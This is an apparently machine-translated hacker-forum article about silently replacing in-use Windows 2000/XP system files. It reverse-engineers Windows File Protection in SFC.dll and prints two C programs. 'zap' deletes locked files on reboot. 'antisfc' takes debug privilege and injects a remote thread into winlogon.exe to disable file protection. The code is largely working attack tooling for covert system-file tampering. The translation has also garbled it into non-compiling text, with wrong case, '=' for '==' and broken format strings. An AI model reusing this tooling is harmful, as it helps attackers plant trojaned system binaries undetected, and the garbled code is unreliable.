Created on:
Article attributes: original
Article submission: bgate (bgate_at_163.com)
Author: bgate
Mail: t2di4u@hotmail.com (it's not easy to find a unused ID ):
It's always a bit difficult to get rid. in addition, after being filled with water for two years, I still cannot find a name for the file. no excellent posts can be posted. it is also a miracle.
To quietly replace the system files in use, you need to solve two problems:
1. Replace the file in use.
2. When replacing the system file, the dialog box for inserting CD is not displayed.
Microsoft has two tools to replace the files in use, zap and inuse. however, there is no source code, so we have to perform reverse analysis. inuse is 40 kb in size and zap is 7 kb in size. the zap is analyzed.
When zap is opened with Ida, there is a core function. The original working principle is to move the file down, because it is relatively simple and directly pasted with code.
----------------- Cut Zap. c ---------
# Include <windows. h>
Bool zapdelfile (char * szfiletodel)
{
Char ctempfilename [0x80];
Char ctemppathname [0x100];
Char cfilename [0x100];
If (szfiletodel [1] = ':'){
Sprintf (ctemppathname, "% C: //", szfiletodel [0]);
}
Else {
Getmodulefilename (null, cfilename, 0x100 );
Sprintf (ctemppathname, "% C: //", cfilename [0]);
}
If (gettempfilename (ctemppathname, "_ @", 0, ctempfilename) = 0 ){
Return false;
}
If (movefileex (szfiletodel, ctempfilename, 1) = 0 ){
Return false;
}
If (movefileex (ctempfilename, null, 4) = 0 ){
Return false;
}
Return true;
}
Void usage (char * n ){
Printf ("Usage: % s fileneedtodel/N", N );
Exit (0 );
}
Int main (INT argc, char * argv [])
{
Printf ("zap programed by bgate. */n ");
If (argc! = 2)
Usage (argv [0]);
If (zapdelfile (argv [1]) = true ){
Printf ("OK ");
}
Else {
Printf ("error % d", getlasterror ());
}
Return 0;
}
----------------- End cat -----------
Now you can use it to delete the system files in use. However, after deletion, the dialog box for you to insert windows CD is displayed.
Note: Back up the system files before deleting them and restore them before restarting them. In addition, you must delete the corresponding backups in the dllcache before deleting the system files. Otherwise, the system will automatically restore the files.
Next, I tried to remove this dialog box and found two useful information, Google.
1. The code for implementing system file protection in Windows 2000 is in SFC. dll, and in sfc_ OS .dll for Windows.
2. In the registry, set a key named sfcdisable to ffffff9d to invalidate the file protection function at the next startup.
The following analysis is performed on Win2k SP4 +. The analyzed SFC. dll version is 5.0.2195.6673.
Open SFC. dll with Ida and find sfcdisable in string. No! Show Unicode for string. This shows. Find a reference to sfcdisable. The Code is as follows:
. Text: 769269f9 call _ sfcqueryregdwordwithalternate @ 16; sfcqueryregdwordwithalternate (x, x)
. Text: 769269fe push EBX
. Text: 769269ff push offset ?? _ C @ _ 1bg @ Hogg @? $ AAs? $ AAF? $ AAC? $ AAD ?; "Sfcdisable"
. Text: 76926a04 push EDI
. Text: 76926a05 push ESI
. Text: 76926a06 mov _ sfcdebug, eax
. Text: 76926a0b call _ sfcqueryregdwordwithalternate @ 16; sfcqueryregdwordwithalternate (x, x)
. Text: 76926a10 push EBX
. Text: 76926a11 push offset ?? _ C @ _ 1ba @ hl1 @? $ AAs? $ AAF? $ AAC? $ AAs? $ AAC? $ AAA? $ Aan? $ AA? $ Aa @; "SFCScan"
. Text: 76926a16 push EDI
. Text: 76926a17 push ESI
. Text: 76926a18 mov _ sfcdisable, eax
. Text: 76926a1d call _ sfcqueryregdwordwithalternate @ 16; sfcqueryregdwordwithalternate (x, x)
. Text: 76926a22 push EBX
. Text: 76926a23 push offset ?? _ C @ _ 1bc @ kfaj @? $ AAs? $ AAF? $ AAC? $ Aaq? $ AAU? $ AAO? $ Aat? $ AAA? $ AA? $ Aa @; "sfcquota"
. Text: 76926a28 push EDI
. Text: 76926a29 push ESI
. Text: 76926a2a mov _ SFCScan, eax
_ Sfcqueryregdwordwithalternate @ 16 is the function for reading the registry. obviously, it reads the sfcdisable value in the Registry to _ sfcdisable. okay. Call SoftICE. set a breakpoint on _ sfcdisable. we used the newly written zap to delete system files. SoftICE popped up. the EIP is 7692a326 and _ sfcdisable is 2.
. Text: 7692a319 push ECx
. Text: 7692a31a and [esp + 4 + var_4], 0
. Text: 7692a31f CMP _ sfcdisable, 3
. Text: 7692a326 push EBX
. Text: 7692a327 push EBP
. Text: 7692a328 push ESI
. Text: 7692a329 push EDI
. Text: 7692a32a jnz short loc_7692a333
. Text: 7692a32c XOR eax, eax
. Text: 7692a32e JMP loc_7692a459
Exit F5. the dialog box pops up later and you will reference it once. good. Look at the above Code "CMP _ sfcdisable, 3 ". in this case, the _ sfcdisable dialog box is 2, so I will change it to 3 and use zap to delete system files. ha, good luck. This time there is no dialog box for inserting CD. that is to say, as long as we change _ sfcdisable to 3, we can secretly replace the system file. however, different versions of the address are different. It is always not good to use a switch for this activity. write a universal code.
At first, I thought it would work probably because Winlogon found some operations on system files. call SFC. check the output functions in DLL. we just need to get the output function entry and comment out the function. following the above Code, find the final output from 76924544, add a breakpoint to 76924544, and continue to delete the file. softICE jumps out, but it is not in the function entry. Instead, it runs the code in the function body on the _ sfcdisable read set just now. you have to force me to launch the killer, open the 2000 Source Code :). after searching for half a day, I couldn't find the corresponding code and had to return it to view the Assembly. Finally, I found the ntwaitformultipleobjects function. well, it's no wonder that the function is not interrupted at the function entry. The function entry was run earlier and has not been exited in the function body. the function annotation method is not working.
In this case, I think the working principle is that Winlogon calls SFC. the output function in DLL creates a series of events at system startup. since Winlogon is created, it should also be revoked. use depends to open Winlogon. sure enough from SFC. two functions are input in DLL. one is the one analyzed just now, and a series of events are created. look at the other one. The output address is 76926869. As expected, a series of events are closed. now we only need to inject code into Winlogon and call the "another" function to cancel the file protection function. however, Winlogon cannot inject code at will. an article in the sixth issue of magazine 26a mentions the injection method: "Adjust debugger access rightz to our process ". this is also an article about sfcdisable. He used to search for a signature in the memory and then modify it. versatility should not be so good.
The following injection method is copied from the crazylord code, but the method is not. :), I am too lazy to check it after writing it. In addition, the level is limited, and the elegant place to write will be viewed.
----------------- Cut antisfc. c -----------
# Include <stdlib. h>
# Include "windows. H"
# Include "tlhelp32.h"
# Pragma comment (Lib, "advapi32.lib ")
Typedef void (_ stdcall * closeevents) (void );
Typedef unsigned long DWORD;
Typedef DWORD antisfc_access;
/*
* Antisfc Structures
*/
Typedef struct _ antisfc_process {
Dword pid; // process PID
Handle processhandle; // Process Handle
Char imagename [max_path]; // image name (not full path)
} Antisfc_process, * pantisfc_process;
_ Inline void errormessagebox (char * szadditioninfo)
{
Printf ("error on % s, error code % d./N", szadditioninfo, getlasterror ());
}
Void usage (char * n ){
Printf ("Usage: % s [/d]/n", N );
Printf ("/t/d: Disable SFC file protecte fuction./N ");
Exit (0 );
}
DWORD Init (){
DWORD ret = 0;
Handle htoken;
Luid sedebugnamevalue;
Token_privileges tkp;
If (! Openprocesstoken (getcurrentprocess (), token_adjust_privileges | token_query, & htoken )){
Errormessagebox ("openprocesstoken ");
} Else {
If (! Lookupprivilegevalue (null, se_debug_name, & sedebugnamevalue )){
Errormessagebox ("lookupprivilegevalue ");
} Else {
Tkp. privilegecount = 1;
Tkp. Privileges [0]. luid = sedebugnamevalue;
Tkp. Privileges [0]. Attributes = se_privilege_enabled;
If (! Adjusttokenprivileges (htoken, false, & tkp, sizeof tkp, null, null )){
Errormessagebox ("adjusttokenprivileges ");
} Else {
Ret = 1;
}
}
Closehandle (htoken );
}
Return (RET );
}
DWORD getpidex (char * proc_name, char * full_path ){
DWORD dwpid = 0;
Handle hsnapshot;
Processentry32 PE;
Bool ret;
If (isdigit (proc_name [0])
Dwpid = strtoul (proc_name, null, 0 );
Else
Dwpid =-1;
Hsnapshot = createconlhelp32snapshot (th32cs_snapprocess, 0 );
If (hsnapshot = (handle)-1 ){
Errormessagebox ("createconlhelp32snapshot ");
Return (0 );
}
PE. dwsize = sizeof (processentry32 );
Ret = process32first (hsnapshot, & PE );
While (RET ){
If (strncmp (strlwr (PE. szexefile), strlwr (proc_name), strlen (proc_name) = 0)
| (PE. th32processid = dwpid )){
Dwpid = PE. th32processid;
Strcpy (full_path, PE. szexefile );
Break;
}
PE. dwsize = sizeof (processentry32 );
Ret = process32next (hsnapshot, & PE );
}
Closehandle (hsnapshot );
If (dwpid =-1)
Dwpid = 0;
Return (dwpid );
}
DWORD initprocess (pantisfc_process process, char * proc_name, antisfc_access ){
DWORD ret = 0;
Process-> pid = getpidex (proc_name, process-> imagename );
If (process-> PID! = 0 & process-> imagename [0]! = 0 ){
Process-> processhandle = OpenProcess (access, false, process-> PID );
If (process-> processhandle = NULL)
Errormessagebox ("OpenProcess ");
Else
Ret = 1;
}
Return (RET );
}
DWORD injectthread (pantisfc_process process,
Pvoid function ){
Handle hthread;
DWORD dwthreadpid = 0, dwstate;
Hthread = createremotethread (process-> processhandle,
Null,
0,
(DWORD (_ stdcall *) (void *) function,
Null,
0,
& Dwthreadpid );
If (hthread = NULL ){
Errormessagebox ("createremotethread ");
Goto cleanup;
}
Dwstate = waitforsingleobject (hthread, 4000); // attends 4 secondes
Switch (dwstate ){
Case wait_timeout:
Case wait_failed:
Errormessagebox ("waitforsingleobject ");
Goto cleanup;
Case wait_object_0:
Break;
Default:
Errormessagebox ("waitforsingleobject ");
Goto cleanup;
}
Closehandle (hthread );
Return dwthreadpid;
Cleanup:
Closehandle (hthread );
Return 0;
}
Int main (INT argc, char * argv [])
{
Antisfc_process process;
Hmodule hsfc;
DWORD dwthread;
Closeevents pfncloseevents;
DWORD dwversion;
Printf ("antisfc programed by bgate. */n ");
If (argc! = 2)
Usage (argv [0]);
If (strcmp (argv [1], "/D ")! = 0 ){
Usage (argv [0]);
}
If (Init ()){
Printf ("Debug privilege set/N ");
} Else {
Printf ("error on get debug privilege/N ");
Return (0 );
}
If (initprocess (& process, "winlogon.exe", process_all_access) = 0 ){
Printf ("error on get process info./N ");
Return (0 );
}
Dwversion = getversion ();
If (DWORD) (lobyte (loword (dwversion) = 5) {// Windows 2000/XP
If (DWORD) (hibyte (loword (dwversion) = 0) {// Windows 2000
Hsfc = loadlibrary ("SFC. dll ");
Printf ("Win2000/N ");
}
Else {// If (DWORD) (hibyte (loword (dwversion) = 1) // Windows XP
Hsfc = loadlibrary ("sfc_ OS .dll ");
Printf ("Windows XP/N ");
}
}
// Else if () // 2003?
Else {
Printf ("unsupported version/N ");
}
Pfncloseevents = (closeevents) getprocaddress (hsfc,
Makeintresource (2 ));
If (pfncloseevents = NULL ){
Printf ("load the SFC fuction failed/N ");
Freelibrary (hsfc );
Return (0 );
}
Freelibrary (hsfc );
Dwthread = injectthread (& process,
Pfncloseevents );
If (dwthread = 0 ){
Printf ("failed/N ");
}
Else {
Printf ("OK/N ");
}
Closehandle (process. processhandle );
Return (0 );
}
------------------ End cut ---------
Run antisfc before running zap to replace system files. You can also write them together. Theoretically, it can be 2000, XP, 2003? But I only tested it on Win2k SP4 + and WINXP SP1 +.
The disadvantage of this article is that the replaced system file can only take effect after restart, And it is finished.